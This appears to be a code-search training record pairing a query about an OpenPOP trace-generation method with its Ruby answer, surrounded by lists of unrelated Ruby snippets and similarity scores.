"def parse_student_number(raw)\n value = nil\n\n if raw.is_a?(Array)\n raw.each do |v|\n value = v if v.starts_with?(Vaalit::Haka::HAKA_STUDENT_NUMBER_KEY)\n end\n elsif raw.is_a?(String)\n if raw.starts_with?(Vaalit::Haka::HAKA_STUDENT_NUMBER_KEY)\n value = raw\n else\n Rails.logger.info <<-MSG.squish\n Login failed because student number not found with key\n #{Vaalit::Haka::HAKA_STUDENT_NUMBER_KEY}\n MSG\n Rails.logger.debug \"Failed student number value: #{value}\"\n value = nil\n end\n else\n raise ArgumentError, \"Student number must be given either as String or String[] to preserve the leading zero.\"\n end\n\n raise ArgumentError, \"Student number missing\" if value.blank?\n\n value.split(\":\").last\n end",
"def student_id\r\n\t\t\treturn 51875531\r\n\t\tend",
"def parse_source_location(caller)\n case caller\n when Exception\n trace = caller.backtrace.reject{ |bt| bt =~ INTERNALS }\n caller = trace.first\n when Array\n caller = caller.first\n end\n caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n source_file, source_line = $1, $2.to_i\n return source_file, source_line\n end",
"def parse_exam(exam)\n if exam[:finalized] != 'Y' && exam[:exam_type] == 'L'\n return nil\n end\n {\n exam_location: choose_cs_exam_location(exam),\n exam_date: parse_cs_exam_date(exam),\n exam_date_instructor: parse_cs_exam_date(exam, true),\n exam_time: parse_cs_exam_time(exam),\n exam_slot: parse_cs_exam_slot(exam),\n exam_type: exam[:exam_type],\n exception: exam[:exam_exception],\n finalized: exam[:finalized]\n }\n end",
"def return_student_grade(name, school)\n school[:students].select {|student_hash| ap student_hash[:grade] if student_hash[:name] == name}\nend",
"def get_name(code)\n return code[1]\n end",
"def print_details\n\n# @stud = [@student_name, @student_about]\n# @coa = [@coach_name, @coach_bio]\n puts \"\\nWorkshop - #{self.date} - Venue: #{self.venue}\"\n puts \"\\nStudents\"\n # puts \"#{self.add_participant(@student_name)}\"\n @student_name.each do |mems|\n puts \"#{mems} - #{@student_about[0]}\"\n end\n #end\n # puts \"Coaches\"\n # @coach_name.each do |memc|\n # puts \"#{memc[0]} - #{memc[1]}\"\n # end\n end",
"def show\n\t\n\t@misses=Array.new\n\[email protected] do |subj|\n\t\ttmp=Array.new\n\t\[email protected] do |miss|\n\t\t\tif Pair.find(miss.pair_id).subject==subj\n\t\t\t\ttmp << miss\n\t\t\tend\n\t\tend\n\t\t@misses << tmp\n\tend\n end",
"def student_id\r\n\t\t\t \t51771125.51772509\r\n\t\t end",
"def code\n # create an Array to collect all fields\n fields = [@trajectory, @eye, @target, @up, @params].map {|f| f.to_s}\n # create code by trajectory and azcode of fields\n return \"#{@trajectory.upcase}-#{azcode(fields)}\"\n end",
"def print_students(students)\n\tstudents.each_with_index do |student , index| \n\t\tputs \"#{index + 1} - #{student}\" if student.start_with? \"A\"\n\tend\n\nend",
"def findStudentFromName( name, students )\n splitName = formatNameFromString( name )\n students.has_key?( splitName ) ? students[splitName] : nil\n end",
"def tokenizer_category_header_event_code\n TokenExtractor.new(\n :event_uisp_code,\n /(?<=codice:\\s)\\s*[XMF][2-9P-Z][SFDRX]\\d/ix,\n 4\n )\n end",
"def enrollment_code_for(subject)\n Enrollment.find(:first, :conditions => {\n :user_id => self.id, :school_id => subject.school.id\n }).enrollment_code\n end",
"def extract_stanzas(fn:)\n result = []\n\n # switch on the number of \"stanzas\" in the fn\n # three or greater stanzas\n if fn.match(/([^_\\.]+)_([^_]+)_([^_\\.]+)/)\n m = fn.match(/([^_\\.]+)_([^_]+)_([^_\\.]+)/)\n\n result[0] = m[1]\n result[1] = m[2]\n result[2] = m[3]\n # two stanzas\n elsif fn.match(/([^_\\.]+)_([^_\\.]+)/)\n m = fn.match(/([^_\\.]+)_([^_\\.]+)/)\n\n result[0] = m[1]\n result[1] = m[2]\n else\n p \"Extractor.extract_name_info_from_fn: found a one-header: #{fn}\"\n end\n\n result\n end",
"def extract_code\n @original.chars.map do |c|\n @code.push c.to_i if c[/\\d+/]\n end\n end",
"def secondary_instrument_names\n #instruments.map{|i|i.display_name}.join(\"~\")\n \"\"\n end",
"def sic_code; end",
"def parse_source_location(caller)\n case caller\n when Exception\n trace = caller.backtrace #.reject{ |bt| bt =~ INTERNALS }\n caller = trace.first\n when Array\n caller = caller.first\n end\n caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n source_file, source_line = $1, $2.to_i\n return source_file, source_line\n end",
"def get_cas02_code(crosswalked_codes)\n rcc_log.debug \"Obtaining CAS 02 code.\"\n if facility\n cas_02_config = facility.details[:cas_02].to_s.downcase.gsub(' ', '_')\n if facility.details[:rc_crosswalk_done_by_client]\n cas_02_config = 'hipaa_code'\n end\n rcc_log.debug \"CAS 02 config : #{facility.details[:cas_02]}\"\n if facility.enable_crosswalk.present? && cas_02_config.present? && crosswalked_codes\n cas_02_code = crosswalked_codes[cas_02_config.to_sym]\n end\n if(cas_02_code.blank?)\n rcc_log.debug \"New Reason Code or Reason Code without a crosswalk condition or crosswalking is not enabled.\"\n if crosswalked_codes && (cas_02_config == 'hipaa_code' || cas_02_config == 'client_code')\n rcc_log.debug \"Obtaining default code as CAS 02 code.\"\n cas_02_code = crosswalked_codes[:default_code]\n elsif cas_02_config == 'reason_code'\n rcc_log.debug \"Obtaining reason code as CAS 02 code.\"\n cas_02_code, desc = get_reason_code_and_description(crosswalked_codes)\n if cas_02_code.blank? && crosswalked_codes\n cas_02_code = crosswalked_codes[:hipaa_code_from_entity] if crosswalked_codes[:hipaa_code_from_entity].present?\n end\n end\n end\n rcc_log.debug \"CAS 02 code : #{cas_02_code}\"\n end\n cas_02_code.to_s.upcase\n end",
"def code\n @data['code']\n end",
"def code\n @data['code']\n end",
"def get_grades(student, school)\t\t\t\t\t\t\t\t\t\t\t\t\t#a. create method to return student's grade\n\tschool[:students].each do |s|\n\t\tputs s[:grade] if s[:name] == student\n\tend\nend",
"def reason_codes_and_descriptions\n rc_and_desc = []\n reason_code_record = nil\n if @crosswalk_records && @crosswalk_records.length > 0\n rcc_log.debug \"Obtaining All Reason codes and descriptions.\"\n @crosswalk_records.each do |reason_code_record|\n if reason_code_record.present?\n reason_code = reason_code_record.reason_code\n reason_code_description = reason_code_record.reason_code_description.to_s.upcase\n reason_code = reason_code.to_s.upcase\n if reason_code.present? && reason_code_description.present?\n rc_and_desc << [reason_code, reason_code_description]\n end\n end\n end\n end\n rc_and_desc = rc_and_desc.compact.uniq\n rcc_log.debug \"Reason Codes and descriptions are : #{rc_and_desc.join(', ')}\"\n rc_and_desc\n end",
"def student_names\n self.students.map do |student|\n student.name\n end\n end",
"def code\n @data['code']\n end",
"def decode_code(text)\n #strip the x in the biginning!\n text = text[1..-1]\n id, ench = text.split ':'\n return [TSMAccounting.decode(id), \"\"]\n end",
"def extract_landed_aircraft_status(section)\n # We are aiming at find detail string in a structure like:\n # ...\n # <th ...>Status</th>\n # <td ...>\n # <span ...>Landed over 2 hours ago ...</span>\n # ...\n # </td>\n # ...\n # ...\n extract_aircraft_status_raw_text(section).gsub(' (track log & graph)', '')\n end",
"def student_batch_names student_rec, report_hash = nil\n report_hash ||= @report_hash\n batch_ids = student_rec.batch_ids.split(\",\").map(&:to_i)\n batch_ids.inject([]) do |batch_names, b_id|\n batch_names << report_hash[:batches][b_id].try(:last).full_name\n batch_names\n end.join(\",\")\n end",
"def grade(name, schoolvar)\n schoolvar[:students].each do |students|\n\t\tif students[:name]==name\n\t\tprint students[:grade]\n\t\tend\n\tend\nend",
"def trace_id\n @trace_data.trace_id\n end",
"def inspect\n \"[:case, #{@_st_caseNode.inspect}, #{@_st_caseBody.inspect}]\"\n end",
"def get_source_code(method)\n src = \"\"\n \t if ts = method.token_stream \n \t ts.each do |t|\n \t next unless t \t\t\t\n \t src << t.text\n \t end\n end\n return src\n end",
"def bib_lc_calls\n return_val = []\n\n Traject::MarcExtractor.cached(\"050:055:060:090\").each_matching_line(source_record) do |line|\n separated_calls = line.inject([]) do |results, subfield|\n if subfield.code == 'a'\n results << []\n end\n\n if ['a', 'b'].include? subfield.code\n results.last && (results.last << subfield.value)\n end\n\n results\n end\n\n return_val.concat separated_calls.collect {|arr| arr.join(\" \")}\n end\n\n return return_val\n end"
] | [
"0.57225436",
"0.5640148",
"0.5640148",
"0.5638506",
"0.56211865",
"0.55864507",
"0.5530788",
"0.5526458",
"0.5507496",
"0.5461128",
"0.537084",
"0.5336449",
"0.52993196",
"0.52795386",
"0.5239639",
"0.52373165",
"0.51874083",
"0.5185851",
"0.51789796",
"0.5158859",
"0.51517695",
"0.5151759",
"0.51260567",
"0.5101638",
"0.5087928",
"0.5069097",
"0.5067926",
"0.50606877",
"0.5044285",
"0.5012421",
"0.5012421",
"0.5006517",
"0.4994543",
"0.49891788",
"0.49798137",
"0.49797684",
"0.49701917",
"0.49289435",
"0.49061286",
"0.49051943",
"0.48993388",
"0.48968765",
"0.48927307",
"0.48903623",
"0.48867348",
"0.4885241",
"0.48844734",
"0.48831737",
"0.48786017",
"0.48754844",
"0.48556986",
"0.483896",
"0.48386416",
"0.48271197",
"0.4825338",
"0.48229435",
"0.48193818",
"0.48183292",
"0.48150238",
"0.48115778",
"0.48068255",
"0.47994065",
"0.47986615",
"0.47976595",
"0.47917166",
"0.4790053",
"0.47892955",
"0.4787995",
"0.4775741",
"0.4772542",
"0.4765953",
"0.47642365",
"0.47613588",
"0.4760916",
"0.475607",
"0.4754746",
"0.4753533",
"0.47523916",
"0.47513914",
"0.47495914",
"0.47487304",
"0.4745106",
"0.47446495",
"0.4741781",
"0.473861",
"0.47386044",
"0.4734428",
"0.4734428",
"0.47281235",
"0.4726116",
"0.47251064",
"0.47191393",
"0.47186986",
"0.47183356",
"0.47127804",
"0.4711677",
"0.47037652",
"0.47020936",
"0.46993458",
"0.4698503"
] | 0.5105308 | 23 |
The main method that will be called from OpenPOP server to generate the trace that will be used for the visualization | def main_method(file_path, student_full_code)
my_test = seperate_and_filter_trace(student_full_code, file_path,
'cp/traceprinter/', 'output.txt')
Dir.chdir('/home')
#puts my_test
my_test
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tracing()\n #This is a stub, used for indexing\n end",
"def trace!\n request! :trace\n end",
"def reporting\n # STUB\n end",
"def call\n return nil unless scope_layer\n return nil unless context.config.value('timeline_traces')\n\n # Since this request is being stored, update the needed counters\n context.slow_request_policy.stored!(request)\n\n # record the change in memory usage\n mem_delta = ScoutApm::Instruments::Process::ProcessMemory.new(context).rss_to_mb(@request.capture_mem_delta!)\n\n transaction_id = request.transaction_id\n revision = context.environment.git_revision.sha\n start_instant = request.root_layer.start_time\n stop_instant = request.root_layer.stop_time\n type = if request.web?\n \"Web\"\n elsif request.job?\n \"Job\"\n else\n \"Unknown\"\n end\n\n # Create request tags\n #\n tags = {\n :allocations => request.root_layer.total_allocations,\n :mem_delta => mem_delta,\n }.merge(request.context.to_flat_hash)\n\n host = context.environment.hostname\n path = request.annotations[:uri] || \"\"\n code = \"\" # User#index for instance\n\n spans = create_spans(request.root_layer)\n if limited?\n tags[:\"scout.reached_span_cap\"] = true\n end\n\n DetailedTrace.new(\n transaction_id,\n revision,\n host,\n start_instant,\n stop_instant,\n type,\n\n path,\n code,\n\n spans,\n tags\n\n # total_score = 0,\n # percentile_score = 0,\n # age_score = 0,\n # memory_delta_score = 0,\n # memory_allocations_score = 0\n )\n end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def html_report_inf\n @report << '<div id=\"title\">Infrastructure Networks</div><br /><br />'\n @log.debug(\"Starting reporting Infrastructure networks there were \" + @infrastructure_networks.length.to_s + \" networks to list\")\n @infrastructure_networks.each do |ssid,bssid|\n tab = Ruport::Data::Table(%w[bssid num_clients channel cipher cloaked? manufacturer first_seen last_seen max_signal_dbm])\n ssid = \"Hidden or Blank\" if ssid.length < 1\n @report << '<div id=\"title\">SSID: ' + ssid + ' </div>'\n bssid.each do |net,info|\n if @options.gps_data[net]\n point = net\n @log.debug(\"attempting to add link\")\n link_info = '+(' + ssid + ' | Ciphers: ' + info['cipher'] + ' | Channel: ' + info['channel'] + ')'\n url = 'http://maps.google.co.uk/maps?q=' + @options.gps_data[point]['lat'].to_s + ',' + @options.gps_data[point]['lon'].to_s + link_info\n net = '<a href=\"' + url + '\">' + point + '</a>'\n end\n tab << [net, info['clients'].length.to_s, info['channel'], info['cipher'], info['cloaked'], info['manufacturer'], info['first_seen'], info['last_seen'], info['max_signal_dbm']]\n end\n @report << tab.to_html\n @report << \"<br /> <br />\"\n end\n end",
"def html_report_probe\n @log.debug(\"Starting to report probe networks, there were \" + @probe_networks.length.to_s + \" to report\")\n @report << '<div id=\"title\">Probe Networks</div><br /><br />'\n @probe_tab = Ruport::Data::Table(%w[bssid manufacturer])\n @probe_networks.each do |probe,info|\n if @options.gps_data[probe]\n point = probe\n @log.debug(\"attempting to add link\")\n url = 'http://maps.google.co.uk/maps?q=' + @options.gps_data[point]['lat'].to_s + ',' + @options.gps_data[point]['lon'].to_s\n probe = '<a href=\"' + url + '\">' + point + '</a>'\n end\n @probe_tab << [probe, info['manufacturer']]\n end\n\t @report << @probe_tab.to_html\n\t @report << \"<br /><br />\"\n end",
"def display_results\n\n title1 = sprintf(TITLE_ROW, \"METH\", \"PATH\", \"CALLED\", \"RESPONSE TIME(ms)\",\"\", \"\", \"\", \"\",\"\",\"\", \"DYNO\", \"MESSAGE\", \"SIZE\")\n puts(title1)\n printf(TITLE_ROW, \"\", \"\", \"Times\", \"Mean\",\" : \",\"Median\",\" : \",\"Mode\",\" : \", \"Range\", \"Busiest\", \"Average\", \"Max\")\n puts('-'*title1.length)\n @endpoints.each do | ep |\n if ep.called == 0 then\n printf(TITLE_ROW, ep.ep_method,ep.ep_path, \" Never\", \" \",\" : \",\" \",\" : \",\" \",\" : \", \" \", \" \", \" \", \" \")\n else\n printf(DATA_ROW,\n ep.ep_method,\n ep.ep_path,\n ep.called,\n ep.averages[:responses].mean,\n ep.averages[:responses].median,\n ep.averages[:responses].mode,\n ep.averages[:responses].range,\n ep.busiest_dyno,\n ep.averages[:bytes].mean,\n ep.averages[:bytes].hi)\n end\n end\n\n if @endpoints.unprocessed_lines > 0\n puts \"There were #{@endpoints.unprocessed_lines} Unprocessed Lines of data from #{@loglines} total lines in the log!\"\n else\n puts \"All #{@loglines} total lines in the log were processed!\"\n end\n end",
"def show_basic\n puts \"#{@total_packet_count} total packets captured\"\n puts \"#{@rinda_packet_count} Rinda packets captured\"\n puts \"#{@drb_packet_count} DRb packets captured\"\n puts \"#{@drb_messages_sent} messages sent\"\n puts \"#{@drb_results_received} results received\"\n puts \"#{@drb_exceptions_raised} exceptions raised\"\n end",
"def trace(uri, options = T.unsafe(nil)); end",
"def trace # :nodoc:\n log Traceroute.new.trace @config.host\n end",
"def send_trace(event)\n assert_permissions(event, ['ntracer'])\n raise OutteError.new \"Sorry, tracing is disabled.\" if !FEATURE_NTRACE\n wait_msg = event.send_message(\"Queued...\") if $mutex[:ntrace].locked?\n $mutex[:ntrace].synchronize do\n wait_msg.delete if !wait_msg.nil?\n level = parse_highscoreable(event.content, mappack: true)\n raise OutteError.new \"Episodes and columns can't be traced\" if !level.is_a?(Levelish)\n map = !level.is_a?(Map) ? MappackLevel.find_by(id: level.id) : level\n raise OutteError.new \"Level data not found\" if map.nil?\n map.trace(event)\n end\nrescue => e\n lex(e, \"Error performing trace.\", event: event)\nend",
"def run\n start\n trace\n wrapup\n end",
"def dump_caller_stack\n return unless $ITEST2_TRACE_EXECUTION\n begin\n caller.each_with_index do |position, idx|\n next unless position =~ /\\A(.*?):(\\d+)/\n file = $1\n # TODO: send multiple trace to be parse with pages.rb\n # next if file =~ /example\\/example_methods\\.rb$/ or file =~ /example\\/example_group_methods\\.rb$/ or file =~ /driver\\.rb$/ or file =~ /timeout\\.rb$/ # don't include rspec or ruby trace\n\n if file.include?(\"_spec.rb\") || file.include?(\"_test.rb\") || file.include?(\"_cmd.rb\")\n connect_to_itest(\" TRACE\", position)\n end\n\n break if idx > 4 or file =~ /\"_spec\\.rb$/\n end\n rescue => e\n puts \"failed to capture log: #{e}\"\n end\n end",
"def call_tracing\n @page_title = _('Call_Tracing')\n @page_icon = 'lightning.png'\n @users = User.find_all_for_select(correct_owner_id)\n end",
"def explosion_protocol\n puts \"\"\n puts \"The rocket exploded! Mission: #{@mission.name} failed.\"\n end",
"def trace(m=nil)\n return unless Logging.trace?\n logger = Log4r::Logger.new \"Mauve::HTTPServer\"\n logger.debug(m || yield)\n end",
"def reporters; end",
"def reporters; end",
"def reporters; end",
"def reporters; end",
"def reporters; end",
"def trace(t)\n @socket << \"TRACE #{t}\"\n end",
"def print_out_line\n #p ['id', id, 'ctd', ctd]\n #p rcp.results.zip(rcp.results.map{|r| send(r)})\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd and fusionQ\n beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def pretty_print(pp)\n pp.text \"Frames: #{available_frames.to_a.sort.join(\", \")}\"\n\n pp.breakable\n pp.text \"Needed Transformations:\"\n transforms = each_transformation.map { |tr| [tr.from, tr.to] }.sort\n if !transforms.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(transforms) do |tr|\n pp.text \"%s => %s\" % tr\n end\n end\n end\n\n pp.breakable\n pp.text \"Frame/Port Associations:\"\n associations = each_annotated_port.map { |port, frame| [port.name, frame] }.sort\n if !associations.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(associations) do |portdef|\n pp.text \"data of %s is in frame %s\" % portdef\n end\n end\n end\n\n pp.breakable\n pp.text \"Transform Inputs and Outputs:\"\n ports = each_transform_port.map { |port, transform| [port.name, transform.from, transform.to] }.sort\n if !ports.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(ports) do |portdef|\n pp.text \"%s: %s => %s\" % portdef\n end\n end\n end\n end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def main\n $app = parseConfig \"call_notifier.conf\"\n #pp $app\n puts \"--------------------------------------\\n\"\n\n tcpSock = connect\n\n ##############################################\n #############################################################################\n unless tcpSock.nil?\n login tcpSock\n # Turn off events\n events tcpSock, \"off\"\n\n $uniqueID = {}\n $calls = {}\n $delay = 2\n\n # Turn on call and system events\n events tcpSock, \"dialplan,call,system\"\n ###########################################################################\n\n\n ###########################################################################\n # Start main loop\n # TODO: add kill handler here instead of loop\n # TODO: add parse of PeerEntry\n ###########################################################################\n until tcpSock.nil?\n block = getBlock tcpSock\n #########################################################################\n # Parse event\n #########################################################################\n\n# pp block\n# log \"Event: #{block[\"Event\"]}\"\n case block[\"Event\"]\n # Agent call\n when \"HangupRequest\"\n delCall block\n when \"Bridge\"\n parseLink block\n#pp block\n\n end if block.has_key? \"Event\" #case\n\n end\n tcpSock.close\n end\nend",
"def diagnostics; end",
"def diagnostics; end",
"def diagnostics; end",
"def diagnostics; end",
"def __trace_impl(*args, **opt, &block)\n opt[:no_log] = true unless opt.key?(:no_log)\n __output_impl(*args, **opt, &block)\nend",
"def generate_tracing_configuration()\n result = \"\"\n\n if @tracing_vars\n @tracing_vars.each_with_index do |var_name, var_index|\n result += \"garbledwebpiratenlibraryname.add_traced_variable('#{var_name}', #{var_index})\\n\"\n end\n result += \"\\n\"\n end\n\n return result\n end",
"def display()\n\t\tputs \"method: #{@method}\"\n\t\tputs \"identifier: #{@identifier}\"\n\t\tputs \"query: #{@query}\"\n\t\tputs \"version: #{@version}\"\n\t\tputs \"---------------- headers ----------------\"\n\t\tputs @headers\n\t\tputs \"---------------- body -------------------\"\n\t\tputs @body\n\tend",
"def create_global_report \n @data = return_lines\n @data.each do |x,y|\n timestamp = y.string_between_markers(\"\",\"[[ACTIVE]\")\n user = y.string_between_markers(\"U:\",\"A:\")\n uri = y.string_between_markers(\"URI=[\",\"]\")\n method = y.string_between_markers(\"],\",\"time\")\n time = y.string_between_markers(\"time=\",\"ms\")\n # eliminates invalid entries\n if !timestamp.nil? && !user.nil? && !uri.nil? && !method.nil? && !time.nil?\n $all_user_data[$packet_count][:timestamp] = timestamp.strip unless timestamp.strip.empty? \n $all_user_data[$packet_count][:user] = user.strip unless user.strip.empty? \n $all_user_data[$packet_count][:uri] = uri.strip unless uri.strip.empty? \n $all_user_data[$packet_count][:method] = method.gsub(/,/,'').strip unless method.strip.empty? \n $all_user_data[$packet_count][:time] = time.strip unless time.strip.empty?\n # extracts hour data\n time_t = $all_user_data[$packet_count][:timestamp].split(\" \")\n time_t_2 = time_t[1].split(\":\")\n $all_user_data[$packet_count][:th_hour] = time_t_2[0].to_i + 1\n $packet_count += 1\n end \n end \n #pp $all_user_data \n end",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def print\n list = @data.display_list\n @labels = []\n @ship = []\n\n @data.label_count, @data.ship_count = update_from_form(list)\n\n if @data.label_count + @data.ship_count == 0\n note \"Nothing to ship\"\n @session.pop\n return\n end\n \n values = {}\n if @data.label_count > 0\n labels = print_labels\n if labels\n values['label_url'] = labels\n else\n error \"Error producing labels. Call Dave\"\n @session.pop\n return\n end\n end\n if @data.ship_count > 0\n statements = print_statements\n if statements\n values['statements_url'] = statements\n else\n error \"Error producing Statements. Call Dave\"\n @session.pop\n return\n end\n end\n\n mark_stuff_shipped(values)\n end",
"def print_out_line\n\t\t\t#p ['id', id, 'ctd', ctd]\n\t\t\t#p rcp.results.zip(rcp.results.map{|r| send(r)})\n\t\t\tname = @run_name\n\t\t\tname += \" (res: #@restart_id)\" if @restart_id\n\t\t\tname += \" real_id: #@real_id\" if @real_id\n\t\t\tbeginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s)\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s)\n\t\t\tif @status == :Incomplete and @completed_timesteps\n\t\t\t\tbeginning += sprintf(\" %d steps \", @completed_timesteps)\n\t\t\telsif @percent_complete\n \t\t\t\tbeginning+=sprintf(\" %3s%1s \", percent_complete, \"%\")\n\t\t\tend\n\t\t\tif ctd\n\t\t\t\t#beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n\t\t\tend\n\t\t\tbeginning += \" ---#{@comment}\" if @comment\n\t\t\tbeginning\n\t\tend",
"def trace message; write TRACE, message, caller[0] unless level > @level end",
"def on_send_response(cli,data)\n cli.payload = data\n cli.recalc\n inject cli.to_s\n sent_info(cli,data) if datastore['VERBOSE']\n end",
"def html_report_adhoc\n @log.debug(\"Starting to report ad-hoc networks, there were \" + @adhoc_networks.length.to_s + \"to report\")\n @report << '<div id=\"title\">Adhoc Networks</div><br /><br />'\n @adhoc_networks.each do |ssid,bssid|\n tab = Ruport::Data::Table(%w[bssid channel cipher cloaked? manufacturer first_seen last_seen max_signal_dbm])\n ssid = \"Hidden or Blank\" if ssid.length < 1\n @report << '<div id=\"title\">SSID: ' + ssid + ' </div>'\n bssid.each do |net,info|\n if @options.gps_data[net]\n point = net\n @log.debug(\"attempting to add link\")\n link_info = '+(' + ssid + ' | Ciphers: ' + info['cipher'] + ' | Channel: ' + info['channel'] + ')'\n url = 'http://maps.google.co.uk/maps?q=' + @options.gps_data[point]['lat'].to_s + ',' + @options.gps_data[point]['lon'].to_s + link_info\n net = '<a href=\"' + url + '\">' + point + '</a>'\n end\n tab << [net, info['channel'], info['cipher'], info['cloaked'], info['manufacturer'], info['first_seen'], info['last_seen'], info['max_signal_dbm']]\n end\n @report << tab.to_html\n @report << \"<br /> <br />\"\n end\n end",
"def trace\n `#{@native}.trace()`\n end",
"def trace(text = \"\")\n puts text\n end",
"def start_dump\n end",
"def start_dump\n end",
"def create_traces_markup_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n story_detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n testcase_detail_url_prefix = \"https://#{rally_host}/#/detail/testcase\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_traceid |\n\n is_testcase = this_traceid.match(/^TC/)\n is_requirement = this_traceid.match(/^REQ/)\n\n if !is_testcase.nil? then\n testcase_tag, testcase_fid, testcase_oid, testcase_name = @testcase_TagFidOidName_by_reqid[this_traceid.sub(\"TC\", \"\")]\n\n if testcase_oid.nil? then\n @logger.warn \" *** No Rally TestCase found for Caliber TestCase: CID=#{this_traceid}; (link will be empty)\"\n this_trace = this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally TestCase: FmtID=#{testcase_fid}; OID=#{testcase_oid};\"\n #this_trace_name = @testcase_name_by_caliber_testcase_id[testcase_oid] || this_traceid\n this_trace_name = \"#{this_traceid}: #{testcase_name}\"\n\n detail_url = \"#{testcase_detail_url_prefix}/#{testcase_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n\n if !is_requirement.nil? then\n story_tag, story_fid, story_oid, story_name = @story_TagFidOidName_by_reqid[this_traceid.sub(\"REQ\", \"\")]\n\n if story_oid.nil? then\n @logger.warn \" *** No Rally UserStory found for Caliber Requirement: CID=#{this_traceid}; (link will be empty)\"\n this_trace = @req_name_by_reqid[this_traceid] || this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally UserStory: FmtID=#{story_fid}; OID=#{story_oid};\"\n #this_trace_name = @req_name_by_reqid[this_traceid.sub(\"REQ\", \"\")] || this_traceid\n this_trace_name = \"#{this_traceid}: #{story_name}\"\n\n detail_url = \"#{story_detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n end\n return traces_markup\nend",
"def dispatch_rjr_util_inspect(dispatcher)\n # Retrieve all the dispatches this node served matching the specified criteri\n dispatcher.handle \"rjr::dispatches\" do |filter|\n select_stats(dispatcher, *filter) \n end\n\n # Retrieve the number of dispatches this node served matching the specified criteria\n dispatcher.handle \"rjr::num_dispatches\" do |filter|\n select_stats(dispatcher, *filter).size\n end\n\n # Retrieve the internal status of this node\n dispatcher.handle \"rjr::status\" do\n nodes = []\n ObjectSpace.each_object RJR::Node do |node|\n nodes << node.to_s\n end\n\n {\n # nodes\n :nodes => nodes,\n\n # dispatcher\n :dispatcher => {\n :requests => dispatcher.requests.size,\n :handlers =>\n dispatcher.handlers.keys,\n #dispatcher.handlers.collect { |k,v|\n # [k, v.source_location] },\n :environments => dispatcher.environments\n },\n\n # event machine\n :event_machine => { :running => EventMachine.reactor_running?,\n :thread_status =>\n (RJR::Node.em && RJR::Node.em.reactor_thread) ?\n RJR::Node.em.reactor_thread.status : nil,\n :connections => EventMachine.connection_count },\n\n # thread pool\n :thread_pool => { :running => RJR::Node.tp ? RJR::Node.tp.running? : nil }\n }\n end\n\n #:log =>\n # lambda {},\nend",
"def data_report(options={})\n puts \"\\n\\n\"\n puts \"**********************************\\n\"\n puts \"**********************************\"\n puts @last_log\nend",
"def trace(*args)\n Trace.(self, *args)\n end",
"def trace(*args)\n Trace.(self, *args)\n end",
"def run\n super\n\n uri = _get_entity_name\n \n begin \n _log \"Browser Navigating to #{uri}\"\n c = Intrigue::ChromeBrowser.new\n browser_response = c.navigate_and_capture(uri)\n rescue Errno::ECONNREFUSED => e \n _log_error \"Unable to connect to chrome browser. Is it running on :9222?\"\n rescue StandardError => e\n `pkill -9 chromium` # hacktastic\n end\n\n if browser_response \n # capture a screenshot and save it as a detail\n _set_entity_detail(\"hidden_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_requests\",browser_response[\"requests\"])\n end\n\n end",
"def trace( *args )\n\t\tRake.application.trace( *args ) if Rake.application.options.trace\n\tend",
"def trace\n attributes.fetch(:trace)\n end",
"def report_body; end",
"def report_body; end",
